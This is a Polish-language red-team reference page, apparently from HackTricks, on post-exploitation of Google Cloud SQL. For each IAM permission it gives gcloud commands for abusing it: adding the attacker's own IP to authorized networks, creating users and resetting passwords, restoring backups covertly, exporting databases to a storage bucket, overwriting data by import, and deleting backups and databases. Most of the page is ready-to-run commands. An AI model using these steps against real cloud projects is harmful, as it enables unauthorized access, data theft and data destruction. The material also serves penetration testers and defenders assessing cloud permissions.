GCP - Cloud SQL Post Exploitation

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Cloud SQL

Aby uzyskać więcej informacji na temat Cloud SQL, sprawdź:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

Aby połączyć się z bazami danych, potrzebujesz tylko dostępu do portu bazy danych i znać nazwę użytkownika i hasło, nie ma żadnych wymagań IAM. Więc łatwym sposobem uzyskania dostępu, zakładając, że baza danych ma publiczny adres IP, jest zaktualizowanie dozwolonych sieci i umożliwienie dostępu z własnego adresu IP.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Można również użyć --no-backup aby zakłócić tworzenie kopii zapasowych bazy danych.

Ponieważ nie jestem całkowicie pewien, jakie są uprawnienia cloudsql.instances.connect i cloudsql.instances.login, jeśli wiesz, wyślij PR!

cloudsql.users.list

Pobierz listę wszystkich użytkowników bazy danych:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ta uprawnienie umożliwia utworzenie nowego użytkownika wewnątrz bazy danych:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Ta uprawnienie umożliwia aktualizację użytkownika wewnątrz bazy danych. Na przykład, możesz zmienić jego hasło:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Kopie zapasowe mogą zawierać stare wrażliwe informacje, więc warto je sprawdzić. Przywróć kopię zapasową wewnątrz bazy danych:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Aby to zrobić w bardziej dyskretny sposób, zaleca się utworzenie nowej instancji SQL i odzyskanie danych tam, zamiast w obecnie działających bazach danych.

cloudsql.backupRuns.delete

To uprawnienie umożliwia usuwanie kopii zapasowych:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Eksportuj bazę danych do Cloud Storage Bucket, aby móc uzyskać do niej dostęp stamtąd:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Importuj bazę danych (nadpisz) z Cloud Storage Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Usuń bazę danych z instancji bazy danych:

gcloud sql databases delete <db-name> --instance <instance-id>
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated